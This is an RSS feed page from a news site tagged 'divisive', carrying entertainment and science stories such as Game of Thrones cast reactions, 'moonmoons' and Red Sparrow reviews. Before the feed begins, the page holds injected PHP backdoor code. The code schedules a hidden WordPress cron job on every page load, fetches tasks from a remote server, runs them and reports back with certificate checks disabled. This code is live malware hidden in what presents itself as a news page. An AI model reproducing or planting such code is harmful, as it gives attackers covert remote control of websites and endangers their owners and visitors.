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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); ‘divisive’ – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 16 Aug 2019 06:33:22 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png ‘divisive’ – Brief News https://briefnews.eu 32 32 Game of Thrones: ‘It doesn’t make sense’ Star SLAMS divisive season finale https://briefnews.eu/game-of-thrones-it-doesnt-make-sense-star-slams-divisive-season-finale/ https://briefnews.eu/game-of-thrones-it-doesnt-make-sense-star-slams-divisive-season-finale/#respond Fri, 16 Aug 2019 06:33:22 +0000 http://briefnews.eu/game-of-thrones-it-doesnt-make-sense-star-slams-divisive-season-finale/

Game of Thrones has had it’s fair share of criticism over the show’s ending, but on the most part, the cast have stayed positive about the HBO fantasy.

However, with a petition for a reshoot being signed by over one million fans, cast members have begun to speak out about what they really think of the show.

In a recent appearance on Yahoo’s White Wine Question Time podcast, Osha star Natalia Tena revealed she was disappointed with how the show ended.

Speaking the podcast host Kate Thornton, Natalie talked listeners through her thoughts while binge watching the big finale, revealing she enjoyed the show right up until the iconic moment where Arya played the Night King.

However, the star went on to reveal the final episodes seemed fragmented, as if the scripts were written by “different people”.

Natalia said: “I liked it to the bit where she stabs him in the heart, I liked it up to then.

“But after that, I just feel like – I just didn’t understand.

“The calibre of writing towards the end and the plots and everything that happens and how they wrapped it up compared to any other season, any other bit, it just feels like it’s been written by different people.

“It doesn’t make sense, for me.”

The star went on to reveal the finale sent her into a long rant as she raged to her friends about how the series was wrapped up.

READ MORE: Game of Thrones: Arya Stark’s fate revealed – she’s NOT going west

Natalia added: “I was a few glasses of wine in when I watched it. I’d binge-watched the whole thing.

“My boyfriend had to leave the boat because I was ranting for an hour at him about how much I didn’t like it.

“And then I rang my friend to rant to him.

However, despite the star’s strong reaction, she confirmed she will not be signing a reshoot petition any time soon.

She continued: ”It’s done. I don’t think I’d go as far as petition. I think they had to end it. [But] I don’t understand why they made those choices.”

The star is not the only one to speak out about the finale after Missadei star Nathalie revealed she is missing the show and is struggling to commit to new roles. 

Nathalie tole Entertainment Tonight: ”When that ended, it was almost like going through a breakup,”

“When other shows had kind of come along… that needed a six-year option, I was like, ‘I’m not ready!’”

“It’s like I’m still sleeping in my old boyfriend’s jumper at night. I’m not ready for a new jumper. I’m not ready to date again! It was that sort of feeling”

Game of Thrones aired on HBO and UK fans can catch up on the final season via Sky Atlantic and NOW TV.

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Daenerys Targaryen’s (played by Emilia Clarke) handmaiden Missandei suffered a brutal and untimely death on Game of Thrones.

The divisive final season of the HBO’s mammoth fantasy series saw the beloved character beheaded by the Cersei Lannister’s (Lena Headey) minion the Mountain in heartbreaking seasons.

The moment was arguably the catalyst for Daenerys’ descent into madness, and ultimate death.

And as the show hurtled to its final conclusion, fans were left with mixed feelings.

Now Missadei star Nathalie has admitted the end of the series was like “going through a breakup”.

The actress, who’s currently starring in the TV reboot of Four Weddings and a Funeral, revealed she was faced with some difficult feelings when the show came to an end.

Former Hollyoaks star Nathalie explained the emotions felt like ending a relationship, and as a result, she struggled commit to new roles.

“When that ended, it was almost like going through a breakup,” Nathalie began.

“When other shows had kind of come along… that needed a six-year option, I was like, ‘I’m not ready!’” she told Entertainment Tonight.

The star continued: “It’s like I’m still sleeping in my old boyfriend’s jumper at night.

READ MORE: Game of Thrones: George RR Martin’s publishers ‘HORRIFIED’ by THIS

“I’m not ready for a new jumper. I’m not ready to date again!”

“It was that sort of feeling,” the actress added.

Once the Game of Thrones final had aired, an overwhelming number of fans were disappointed with the outcome for their favourite characters.

With criticisms the Mother of Dragons had been “destroyed”, and confusion over why Jon Snow (Kit Harington) ended up losing his role as King of the North and guarding the Wall once more, it prompted an enormous petition.

More than 1.7 million fans signed the online document asking network HBO to reshoot the whole of the final season.

Most of the cast and crew praised and supported the final product, but Natalia Tena, who played Osha the Wildling, revealed she wasn’t happy with the series’ ending.

She shared: “The calibre of writing towards the end and the plots and everything that happens and how they wrapped it up compared to any other season, any other bit…

“It just feels like it’s been written by different people.

“It doesn’t make sense, for me,” the star added.

Game of Thrones aired on HBO and UK fans can catch up on the final season via Sky Atlantic and NOW TV.

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]]> https://briefnews.eu/game-of-thrones-missandei-star-speaks-out-on-shows-divisive-ending-im-not-ready/feed/ 0 Chocolate milk has become an udderly divisive issue https://briefnews.eu/chocolate-milk-has-become-an-udderly-divisive-issue/ https://briefnews.eu/chocolate-milk-has-become-an-udderly-divisive-issue/#respond Fri, 21 Dec 2018 13:28:58 +0000 http://briefnews.eu/chocolate-milk-has-become-an-udderly-divisive-issue/ Boy drinking chocolate milk

Chocolate milk has become politicized in recent months with the discussion around chocolate milk restrictions in schools. And one expert argues the polarized debate might be harming public health advocacy.

]]> https://briefnews.eu/chocolate-milk-has-become-an-udderly-divisive-issue/feed/ 0 Utter lunacy? ‘Moonmoon’ naming proposal for moons of moons proves divisive https://briefnews.eu/utter-lunacy-moonmoon-naming-proposal-for-moons-of-moons-proves-divisive/ https://briefnews.eu/utter-lunacy-moonmoon-naming-proposal-for-moons-of-moons-proves-divisive/#respond Sat, 13 Oct 2018 16:08:35 +0000 http://briefnews.eu/utter-lunacy-moonmoon-naming-proposal-for-moons-of-moons-proves-divisive/

Astronomers think it’s possible that moons can have their own mini-moon – but the scientific suggestion that they should be called ‘moonmoons’ is not going down well among those with a more poetic inclination.

READ MORE: NASA administrator shows off historic spaceship…made of Lego

The term ‘moonmoons’ started with astrophysicist Duncan Forgan, reports ScienceAlert, who has written a paper awaiting publishing on the topic.

More recently, astronomers Juna Kollmeier and Sean Raymond wrote their own paper describing how moonmoons could actually be possible. However, they opted for a slightly less ridiculous, but equally disappointing, name of ‘submoon’.

Twitter users in particular are very displeased at the missed opportunity to name something that is not technically even a thing right now, but very well might be confirmed as a thing in the future.

While ‘moonmoons’ may not actually be the agreed upon term for this speculative phenomenon (we’re guessing that honor goes to the person who actually finds a real-life example), that didn’t stop the Australian House of Representatives throwing shade over the suggestion.

READ MORE: First ever ‘exomoon’ discovered orbiting planet outside our solar system – study

To really throw a spanner in the works, another planetary astronomer, Michele Bannister of Queens University Belfast, told New Scientist that she would tend to opt for a ‘moonmoonlet’, to be precise.

“I think we can say for sure that there’s not a moonmoon that’s kilometers across around Jupiter or Saturn. A moonmoon down to the size of a skyscraper could exist out there, but I’d call it moonmoonlet,” she explained.

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]]> https://briefnews.eu/efail-encrypted-email-has-a-major-divisive-flaw/feed/ 0 The Voice UK 2018: will.i.am causes ITV viewer OUTRAGE with divisive choice ‘Terrible’ https://briefnews.eu/the-voice-uk-2018-will-i-am-causes-itv-viewer-outrage-with-divisive-choice-terrible/ https://briefnews.eu/the-voice-uk-2018-will-i-am-causes-itv-viewer-outrage-with-divisive-choice-terrible/#respond Sun, 18 Mar 2018 00:59:58 +0000 http://briefnews.eu/the-voice-uk-2018-will-i-am-causes-itv-viewer-outrage-with-divisive-choice-terrible/

Tai has been impressing The Voice judges for weeks with her unique style of singing. 

Earlier tonight, the youngster performed Dolly Parton’s Jolene for a space on ITV’s live finals. 

She insisted to her coach, Will, that she had chosen the song and had a special arrangement of it. 

The Black Eyed Peas star and his US bandmates praised Tai for going her own way and knowing who she wanted to be. 

However, viewers didn’t see things the same way, feeling she had not done the classic country song justice. 

One fan posted on Twitter: “That girl really ruined Jolene. Im so sad. Dolly deserved more.”

A second raged: “What has she done to Jolene………..I’m absolutely appalled.”

Another fumed: “Errrr no.. no one messes with Dolly! Not Jolene – just no!!!!”

Some loved Tai’s performance and argued: “You gave me goosebumps!! Can’t wait to have a recording of Jolene. Like you said you aren’t on the show just to sing someone else’s song. So original and talented!!!”

“One of the best versions of Jolene I’ve ever heard,” another gushed.

will.i.am seemed to be on the latter half of the fence, and chose Tai to go through straight away to the live finals.

She fought off Anna Willison-Holt and Paige Young for the coveted spot but viewers thought the rapper had made the wrong decision. 

One fan wrote: “Seriously?! Tai was the last person who deserved to go through. She murdered Jolene and doesn’t have the talent to validate her attitude.”

Another added: “Did will.i.am seriously just pick tai over Anna/Paige?”

However, someone else thought differently, posting: “Wanted Anna to go through but after tonight’s performances I’m happy Will put Tai through! Like that she’s very confident in who she is as an artist & she knows how to reinvent songs & she isn’t afraid to do so! I hope people get behind her as she’s incredibly underrated.”

The Voice UK continues next Saturday on ITV at 8.30pm. 

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]]> https://briefnews.eu/the-voice-uk-2018-will-i-am-causes-itv-viewer-outrage-with-divisive-choice-terrible/feed/ 0 ‘Red Sparrow’ Early Buzz: Jennifer Lawrence’s Spy Thriller Is Brutal and Divisive https://briefnews.eu/red-sparrow-early-buzz-jennifer-lawrences-spy-thriller-is-brutal-and-divisive/ https://briefnews.eu/red-sparrow-early-buzz-jennifer-lawrences-spy-thriller-is-brutal-and-divisive/#respond Fri, 16 Feb 2018 20:50:56 +0000 http://briefnews.eu/red-sparrow-early-buzz-jennifer-lawrences-spy-thriller-is-brutal-and-divisive/

While Black Panther is dominating the box office this weekend, in a couple weeks it will be Jennifer Lawrence‘s turn to be a badass on the big screen in Red Sparrow.

The first screenings of Red Sparrow were held this week, and reactions and reviews are starting to hit the web. While some might be expecting this to be Jennifer Lawrence’s own Atomic Blonde or even an example of what a Black Widow movie might be like, the early reviews indicate that Red Sparrow is neither of those things. The spy thriller from director Francis Lawrence is proving divisive, with some absolutely loving what this movie turned out to be while others thinking it’s an overlong and numbing experience.

Read the first Red Sparrow reviews below for a more in-depth picture.

The Quick Positive Reactions

The Quick Negative Reactions

The brief reactions are pretty divisive, but the full reviews borrow praise and criticism from each side.

Red Sparrow Reviews

The Full Red Sparrow Reviews on Both Sides of the Fence

Rodrigo Perez At The Playlist called this movie Jennifer Lawrence’s own Tinker Tailor Soldier Spy, but wasn’t very satisfied:

“While it’s Lawrence’s most mature and relatively subtle effort to date, it’s also, unfortunately, a slog.

Despite all its bendy twists and turns, of which there are arguably too many, “Red Sparrow,” while well-intentioned in its efforts to be a more adult effort for both the director and his A-list star, the thriller winds up hollow, flat and largely uninvolving. But it’s not for lack of trying to make something beyond a cat and mouse spy thriller. “Red Sparrow” is ultimately interested in delivering an empowering tale of a woman attempting to reclaim the life that was stolen from her, on her own terms. But while the character’s agency is fortified in determination and purpose, it lacks a relatable emotive spark.”

John DeFore at The Hollywood Reporter thinks audiences will not be pleased:

“A sex-and-spycraft yarn built for Cold War 2.0 — despite displaying next to no awareness of current tech, arguably this cold war’s defining ingredient — Francis Lawrence’s Red Sparrow sometimes seems to target the sort of Jennifer Lawrence fan who feels the recent Mother! didn’t pay sufficient attention to the star’s lightly clothed curves. What would a spy flick be without the male gaze? Well, it’d be something like John Le Carre — which this film, despite its focus on the strategic acquisition of foreign assets, definitely is not. Striking a sometimes uneasy balance between trust-no-one espionage and sensationalism, Sparrow seems likely to attract a fairly large audience but leave few moviegoers fully satisfied.”

Alonso Duralde at The Wrap found the movie to be a disappointing amalgamation of other spy movies:

“Neither intelligent enough to be involving nor fun enough to be trashy, this is a movie that would only work if it were a little worse or a lot better.

As it is, Lawrence’s reunion with director Francis Lawrence (the second through fourth “Hunger Games” movies) does at least amp up the sex and violence in an attempt to cover up the fact that the story feels grafted together from any number of spy sagas, not to mention the USSR flashbacks from “The Americans” and “The Avengers: Age of Ultron.”

Owen Gleiberman at Variety found plenty to love in a move that goes for intelligence instead of action:

“In pumped-up espionage potboilers like “Salt” or “Atomic Blonde,” Angelina Jolie and Charlize Theron have gone through the motions of imitating male action stars at their most kick-ass grandiose. They’re slickly “empowered” women, yet it’s hard to distinguish that power from the thriller-video decadence of 21st-century action filmmaking.

In the elegantly tense and absorbing “Red Sparrow,” on the other hand, Jennifer Lawrence portrays a Russian spy who’s a cunningly desperate human being — or, at least, enough of one that each scene rotates around the choices she makes, the way she appraises and seizes the destiny of the moment, playing a spy as someone who acts out a role, but does so by acting as little as possible. Lawrence, in this movie, shows you what true screen stardom is all about. She cues each scene to a different mood, leaving the audience in a dangling state of discovery. We’re on her side, but more than that we’re in her head. Even when (of course) we’re being played.”

Matt Singer at ScreenCrush thinks Jennifer Lawrence fans might not be receptive to this story:

“This is Francis Lawrence’s fourth film with Jennifer Lawrence, and there are definitely some thematic parallels between The Hunger Games and Red Sparrow; they’re both stories about women pressed into the service of corrupt and exploitative governments, who eventually fight back and assert control over their lives. There’s an appealing empowerment message here, although some of the audiences who would be most receptive to that message might also be ones most turned off by the persistent and intense violence, and particularly sexual violence, against Lawrence in the film.

I liked Lawrence a lot, and Red Sparrow’s ending does deliver on the shocking revelations it’s promised. (It also leaves things wide open for a sequel, because of course it does.) But I also left the theater feeling like Red Sparrow was missing something, that spark of the ineffable that separates a competent movie from an exceptional one, or makes you rush out to see a new version of an old concept instead of rewatching classics like Notorious or Three Days of the Condor. There’s a sense throughout that everyone here is like Dominika when she’s forced to become a sparrow: Just going through the motions.”

Jordan Raup at The Film Stage gave the movie a B- and said:

“With Jennifer Lawrence’s Katniss Everdeen hanging up her bow and arrow and Francis Lawrence now free of the shackles of adhering to the demands of hit source material, Red Sparrow is a clear pivot into more mature, merciless terrority for the duo. Reteaming with his star of The Hunger Games, the entire film feels like an exercise in proving they can handle material that’s not only darker, but rife with prevalent commentary both on the politics of today and the psychological and physical toll of sexual assault. While there’s a blunt effect to tackling such issues in a frank manner, the direction doesn’t the have the formal daring of something like Tinker, Tailor, Soldier, Spy and the script is a few shades shy of the wit contained in the ‘70s spy thrillers it pays homage to.

Though advertised in the Atomic Blonde vein, this is a far more subdued and less osentensius thriller. In fact, aside from a cringe-inducing knife fight that rivals the brutality of Eastern Promises’ iconic scene, there are no real setpieces to speak of. Rather, feeling more akin to The Girl with the Dragon Tattoo, much of the suspense is tied to the questionable sympathies of our lead as she jumps back and forth between Russian intelligence and the CIA. The script by Justin Haythe–the writer behind another audacious, over-extended 20th Century Fox spring release, A Cure for Wellness–is full of twists and turns, and while some of them will come as a surprise, one never feels genuinely invested of the outcome due to the emotionally reserved approach, which is more convoluted and distended than necessary.”

Eric Kohn at IndieWire thought a little better of the movie, but also noted its shortcomings:

“With so many solid ingredients, it’s unfortunate that “Red Sparrow” doesn’t know when to stop, sagging into bland torture scenes and an underwhelming final showdown in its concluding act. Ever here, however, the movie resonates with a precise topicality for an audience reeling from the exhumed shadow of the Soviet threat. It’s a near-subversive maneuver to cast the world’s biggest star as an ostensible villain, whose complicated relationship to her job is all the more chilling because it ends on a state of complete ambiguity — with no clear end in sight.”

Benjamin Lee at The Guardian says the film is far from a disaster but it’s still not a home run:

“While Passengers was a weird, unsalvageable mess and Mother! an intriguing failure, Red Sparrow is not exactly the home run Lawrence could do with right now. But it’s far from a disaster. There’s a curious perversity that rears its head early in the film during a startlingly grisly shower scene and throughout, there’s a shocking willingness to go to the very edge of what’s acceptable in a contemporary studio movie. There’s full-frontal nudity, violent rape, implied incest, graphic torture and a darkly sexual atmosphere that leads to a number of head-spinningly nasty moments.

But for as many times as director Francis Lawrence (who led Lawrence through three of the four Hunger Games chapters) appears willing to push the boundaries, he’s also equally comfortable in holding back. While some sexual content is portrayed with stunning frankness, other scenes are neutered. There’s an uncomfortable dissonance running throughout that results in a shifting, unsure tone and one wonders what film could have resulted from a steadier, yet wilder, hand (Brian De Palma would have had endless fun with it). The direction feels flat and passionless at times and while there are some impressive panoramic vistas, other stuffier scenes are so overly, clumsily lit that they’re clearly taking place on a set.”

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That’s all for now, but it sounds like Jennifer Lawrence’s latest is ambitious, but ultimately indulges in itself too long to land firmly. While there are those who find the movie to be fantastic, those same critics also note that the film might not sit well with general audiences, something that Lawrence is likely getting used to, especially after mother! last year. Still, I’d rather have Lawrence making movies like this than treading water with something like Passengers.

Red Sparrow hits theaters on March 2, 2018. Watch the most recent trailer right here.

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On the December 15, 2017 episode of /Film Daily, /Film senior writer Ben Pearson is joined by /Film managing editor Jacob Hall and writers Chris Evangelista and Hoai-Tran Bui to discuss the latest news, including Morgan Spurlock’s admission of sexual misconduct, Star Wars: The Last Jedi’s box office numbers, The Last Jedi has more practical creatures than any other Star Wars film, the future of the X-Men, Fantastic Four, and Deadpool, a book of Rian Johnson’s behind the scenes photos will be released, and in our feature presentation, we’ll talk about The Last Jedi and how it doesn’t care what you think about it.

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Cinephiles rejoice anytime writer/director Darren Aronofsky makes a new movie, because love him or hate him, his films always give us plenty to talk about. That’s especially true with mother!, his horror thriller that’s been ripping audiences apart since it made its festival debut. The film is so divisive, in fact, that it earned a rare “F” CinemaScore when it opened in wider release last week and even inspired Paramount Pictures to release a statement defending their decision to distribute the film in the first place.

Paramount has been knocked over by a wave here, but instead of sputtering and quietly crawling back to the shore, the studio is embracing the film’s polarizing response and defiantly turning toward the ocean, arms spread wide and chin held high, ready to be sent sprawling by the next one crashing toward them.

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It’s rare that a studio reacts to a divisive film like this, but it reminds me a little of the way 20th Century Fox included bad reviews of Fight Club in that film’s home video release, almost daring audiences to watch the movie. I applaud Paramount for standing by their movie and their director here, because they easily could have taken a different path here.

mother! is indeed an intense experience, culminating in a third act that’s one of the most surprising things a major studio has released in years. In his review from the Toronto International Film Festival, /Film’s Chris Evangelista writes:

…it’s hard not to at least appreciate a film that is so wholly committed to going insane. The last stretch of mother! is an anarchic nightmare, filled with scenes that appear to be trying to one-up each other in terms of shocking material. Aronofsky’s script doesn’t pull its punches, and the horrific imagery begins to come fast and furious, one shocking moment on top of another, to the point that you might find yourself dizzy from it all.

Ultimately, I’d recommend going out and seeing the movie for yourself, because at the very least you’ll have a lot of thoughts about it and a ton of great things to read afterward. As for what the film is actually about, you can read Aronofsky’s thoughts on the matter here, or our own Josh Spiegel’s spoiler review, which grapples with the movie’s allegories in a comprehensive and satisfying way. Plus, /Filmcast host David Chen wrote a smart piece about the film’s five most interesting aspects that’s also worth digging into.

mother! is in theaters right now.

A couple’s relationship is tested when uninvited guests arrive at their home, disrupting their tranquil existence.

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2017 has been an exceptional year for horror, with It tearing up the box office, Get Out igniting a cultural conversation, and Raw ruling the arthouse scene like the cannibalistic powerhouse that it is. But there’s another horror movie on the horizon that’s going to get people talking. And arguing.

I saw Better Watch Out at Fantastic Fest last year, back when it was titled Safe Neighborhood, and hated it. Loathed it. Couldn’t stand it. When I left the theater, I learned that I was not alone. But I also learned that many people adored it and spoke to fest-goers who were head-over-heels in love with this gonzo horror comedy and just couldn’t believe that I didn’t like it.

And now the Better Watch Out trailer is here to spark the conversation for a much wider audience.

This is a red band trailer, so if you’re at work or in a public place, be careful before you click play. There’s plenty of violence and foul language to be found, even in the critical praise for the film splattered across the screen.

And while I’m here, I’ll actually recommend that you actually don’t watch this trailer at all. If you’re a horror fan and want to join the discussion about this one, I strongly suggest going in as blind as possible. Better Watch Out begins as a boilerplate home invasion thriller set against a Christmas backdrop before it suddenly evolves into a very, very different movie…and that very, very different movie is on full display in this preview. Much of the film’s shock value comes from seeing the left turn happen organically, so proceed with caution. The trailer even gives away one of the movie’s best gags, something so bizarre and horrible and darkly funny that even I, someone who hated the rest of the movie, appreciated it.

But here’s the trailer.

If you skip the trailer, the official synopsis sets the stage quite nicely without going too far:

This holiday season, you may be home, but you’re not alone… In this fresh and gleefully twisted spin on home-invasion horror, babysitter Ashley (Olivia DeJonge) must defend her young charges (Levi Miller, Ed Oxenbould ) when intruders break into the house one snowy night – or so she thinks.

Considering how many genuine horror buffs fell in love with this movie and how many hate every stinking’ frame, I don’t think this is the last time we’ll be talking about Better Watch Out on /Film. In fact, our team covering the Fantasia Film Festival was so divided on it that we’re considering a roundtable discussion of the movie once it arrives to talk it over and figure out what the hell we actually saw.

And you’ll be able to join in very soon, as Better Watch Out hits theaters and VOD on October 6, 2017.

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